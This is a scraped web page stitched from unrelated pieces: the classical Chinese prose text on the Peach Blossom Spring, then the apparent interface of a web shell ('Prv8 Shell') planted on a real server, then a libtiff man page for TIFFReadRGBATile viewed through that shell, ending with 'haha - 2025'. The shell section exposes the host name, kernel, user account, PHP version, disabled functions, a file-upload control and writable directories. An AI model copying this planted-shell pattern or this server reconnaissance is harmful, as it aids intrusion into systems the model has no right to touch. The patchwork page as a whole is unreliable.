晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/doc/libtiff-devel/html/man/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/libtiff-devel/html/man/TIFFReadRGBATile.3tiff.html
<!-- Creator     : groff version 1.18.1 -->
<!-- CreationDate: Sat Feb 24 18:37:17 2007 -->
<html>
<head>
<meta name="generator" content="groff -Thtml, see www.gnu.org">
<meta name="Content-Style" content="text/css">
<title>TIFFReadRGBATile</title>
</head>
<body>

<h1 align=center>TIFFReadRGBATile</h1>
<a href="#NAME">NAME</a><br>
<a href="#SYNOPSIS">SYNOPSIS</a><br>
<a href="#DESCRIPTION">DESCRIPTION</a><br>
<a href="#NOTES">NOTES</a><br>
<a href="#RETURN VALUES">RETURN VALUES</a><br>
<a href="#DIAGNOSTICS">DIAGNOSTICS</a><br>
<a href="#SEE ALSO">SEE ALSO</a><br>

<hr>
<a name="NAME"></a>
<h2>NAME</h2>
<!-- INDENTATION -->
<table width="100%" border=0 rules="none" frame="void"
       cols="2" cellspacing="0" cellpadding="0">
<tr valign="top" align="left">
<td width="8%"></td>
<td width="91%">
<p>TIFFReadRGBATile &minus; read and decode an image tile
into a fixed-format raster</p>
</td>
</table>
<a name="SYNOPSIS"></a>
<h2>SYNOPSIS</h2>
<!-- INDENTATION -->
<table width="100%" border=0 rules="none" frame="void"
       cols="2" cellspacing="0" cellpadding="0">
<tr valign="top" align="left">
<td width="8%"></td>
<td width="91%">
<p><b>#include &lt;tiffio.h&gt;</b></p>
</td>
</table>
<!-- TABS -->
<table width="100%" border=0 rules="none" frame="void"
       cols="5" cellspacing="0" cellpadding="0">
<tr valign="top" align="left">
<td width="8%"></td>
<td width="-2%">

<p><b>#define TIFFGetR(abgr)</b></p>
</td>
<td width="25%"></td>
<td width="6%"></td>
<td width="61%">

<p><b>((abgr) &amp; 0xff)</b></p>
</td>
<tr valign="top" align="left">
<td width="8%"></td>
<td width="-2%">

<p><b>#define TIFFGetG(abgr)</b></p>
</td>
<td width="25%"></td>
<td width="6%"></td>
<td width="61%">

<p><b>(((abgr) &gt;&gt; 8) &amp; 0xff)</b></p>
</td>
<tr valign="top" align="left">
<td width="8%"></td>
<td width="-2%">

<p><b>#define TIFFGetB(abgr)</b></p>
</td>
<td width="25%"></td>
<td width="6%"></td>
<td width="61%">

<p><b>(((abgr) &gt;&gt; 16) &amp; 0xff)</b></p>
</td>
<tr valign="top" align="left">
<td width="8%"></td>
<td width="-2%">

<p><b>#define TIFFGetA(abgr)</b></p>
</td>
<td width="25%"></td>
<td width="6%"></td>
<td width="61%">

<p><b>(((abgr) &gt;&gt; 24) &amp; 0xff)</b></p>
</td>
</table>
<!-- INDENTATION -->
<table width="100%" border=0 rules="none" frame="void"
       cols="2" cellspacing="0" cellpadding="0">
<tr valign="top" align="left">
<td width="8%"></td>
<td width="91%">
<p><b>int TIFFReadRGBATile(TIFF *</b><i>tif</i><b>,
uint32</b> <i>x</i><b>, uint32</b> <i>y</i><b>, uint32
*</b><i>raster</i><b>)</b></p>
</td>
</table>
<a name="DESCRIPTION"></a>
<h2>DESCRIPTION</h2>
<!-- INDENTATION -->
<table width="100%" border=0 rules="none" frame="void"
       cols="2" cellspacing="0" cellpadding="0">
<tr valign="top" align="left">
<td width="8%"></td>
<td width="91%">
<p><i>TIFFReadRGBATile</i> reads a single tile of a
tile-based image into memory, storing the result in the user
supplied RGBA <i>raster</i>. The raster is assumed to be an
array of width times length 32-bit entries, where width is
the width of a tile (TIFFTAG_TILEWIDTH) and length is the
height of a tile (TIFFTAG_TILELENGTH).</p>
<!-- INDENTATION -->
<p>The <i>x</i> and <i>y</i> values are the offsets from the
top left corner to the top left corner of the tile to be
read. They must be an exact multiple of the tile width and
length.</p>
<!-- INDENTATION -->
<p>Note that the raster is assume to be organized such that
the pixel at location (<i>x</i>,<i>y</i>) is
<i>raster</i>[<i>y</i>*<i>width</i>+<i>x</i>]; with the
raster origin in the <i>lower-left hand corner</i> of the
tile. That is bottom to top organization. Edge tiles which
partly fall off the image will be filled out with
appropriate zeroed areas.</p>
<!-- INDENTATION -->
<p>Raster pixels are 8-bit packed red, green, blue, alpha
samples. The macros <i>TIFFGetR</i>, <i>TIFFGetG</i>,
<i>TIFFGetB</i>, and <i>TIFFGetA</i> should be used to
access individual samples. Images without Associated Alpha
matting information have a constant Alpha of 1.0 (255).</p>
<!-- INDENTATION -->
<p>See the <i>TIFFRGBAImage</i>(3TIFF) page for more details
on how various image types are converted to RGBA values.</p>
</td>
</table>
<a name="NOTES"></a>
<h2>NOTES</h2>
<!-- INDENTATION -->
<table width="100%" border=0 rules="none" frame="void"
       cols="2" cellspacing="0" cellpadding="0">
<tr valign="top" align="left">
<td width="8%"></td>
<td width="91%">
<p>Samples must be either 1, 2, 4, 8, or 16 bits.
Colorimetric samples/pixel must be either 1, 3, or 4 (i.e.
<i>SamplesPerPixel</i> minus <i>ExtraSamples</i>).</p>
<!-- INDENTATION -->
<p>Palette image colormaps that appear to be incorrectly
written as 8-bit values are automatically scaled to
16-bits.</p>
<!-- INDENTATION -->
<p><i>TIFFReadRGBATile</i> is just a wrapper around the more
general <i>TIFFRGBAImage</i>(3TIFF) facilities. It&rsquo;s
main advantage over the similar <i>TIFFReadRGBAImage()</i>
function is that for large images a single buffer capable of
holding the whole image doesn&rsquo;t need to be allocated,
only enough for one tile. The <i>TIFFReadRGBAStrip()</i>
function does a similar operation for stripped images.</p>
</td>
</table>
<a name="RETURN VALUES"></a>
<h2>RETURN VALUES</h2>
<!-- INDENTATION -->
<table width="100%" border=0 rules="none" frame="void"
       cols="2" cellspacing="0" cellpadding="0">
<tr valign="top" align="left">
<td width="8%"></td>
<td width="91%">
<p>1 is returned if the image was successfully read and
converted. Otherwise, 0 is returned if an error was
encountered.</p>
</td>
</table>
<a name="DIAGNOSTICS"></a>
<h2>DIAGNOSTICS</h2>
<!-- INDENTATION -->
<table width="100%" border=0 rules="none" frame="void"
       cols="2" cellspacing="0" cellpadding="0">
<tr valign="top" align="left">
<td width="8%"></td>
<td width="91%">
<p>All error messages are directed to the
<i>TIFFError</i>(3TIFF) routine.</p>
<!-- INDENTATION -->
<p><b>Sorry, can not handle %d-bit pictures</b>. The image
had <i>BitsPerSample</i> other than 1, 2, 4, 8, or 16.</p>
<!-- INDENTATION -->
<p><b>Sorry, can not handle %d-channel images</b>. The image
had <i>SamplesPerPixel</i> other than 1, 3, or 4.</p>
<!-- INDENTATION -->
<p><b>Missing needed &quot;PhotometricInterpretation&quot;
tag</b>. The image did not have a tag that describes how to
display the data.</p>
<!-- INDENTATION -->
<p><b>No &quot;PhotometricInterpretation&quot; tag, assuming
RGB</b>. The image was missing a tag that describes how to
display it, but because it has 3 or 4 samples/pixel, it is
assumed to be <small>RGB.</small></p>
<!-- INDENTATION -->
<p><b>No &quot;PhotometricInterpretation&quot; tag, assuming
min-is-black</b>. The image was missing a tag that describes
how to display it, but because it has 1 sample/pixel, it is
assumed to be a grayscale or bilevel image.</p>
<!-- INDENTATION -->
<p><b>No space for photometric conversion table</b>. There
was insufficient memory for a table used to convert image
samples to 8-bit <small>RGB.</small></p>
<!-- INDENTATION -->
<p><b>Missing required &quot;Colormap&quot; tag</b>. A
Palette image did not have a required <i>Colormap</i>
tag.</p>
<!-- INDENTATION -->
<p><b>No space for tile buffer</b>. There was insufficient
memory to allocate an i/o buffer.</p>
<!-- INDENTATION -->
<p><b>No space for strip buffer</b>. There was insufficient
memory to allocate an i/o buffer.</p>
<!-- INDENTATION -->
<p><b>Can not handle format</b>. The image has a format
(combination of <i>BitsPerSample</i>,
<i>SamplesPerPixel</i>, and
<i>PhotometricInterpretation</i>) that
<i>TIFFReadRGBAImage</i> can not handle.</p>
<!-- INDENTATION -->
<p><b>No space for B&amp;W mapping table</b>. There was
insufficient memory to allocate a table used to map
grayscale data to <small>RGB.</small></p>
<!-- INDENTATION -->
<p><b>No space for Palette mapping table</b>. There was
insufficient memory to allocate a table used to map data to
8-bit <small>RGB.</small></p>
</td>
</table>
<a name="SEE ALSO"></a>
<h2>SEE ALSO</h2>
<!-- INDENTATION -->
<table width="100%" border=0 rules="none" frame="void"
       cols="2" cellspacing="0" cellpadding="0">
<tr valign="top" align="left">
<td width="8%"></td>
<td width="91%">
<p><b>TIFFOpen</b>(3TIFF), <b>TIFFRGBAImage</b>(3TIFF),
<b>TIFFReadRGBAImage</b>(3TIFF),
<b>TIFFReadRGBAStrip</b>(3TIFF), <b>libtiff</b>(3TIFF)</p>
<!-- INDENTATION -->
<p>Libtiff library home page:
<b>http://www.simplesystems.org/libtiff/</b></p>
</td>
</table>
<hr>
</body>
</html>

haha - 2025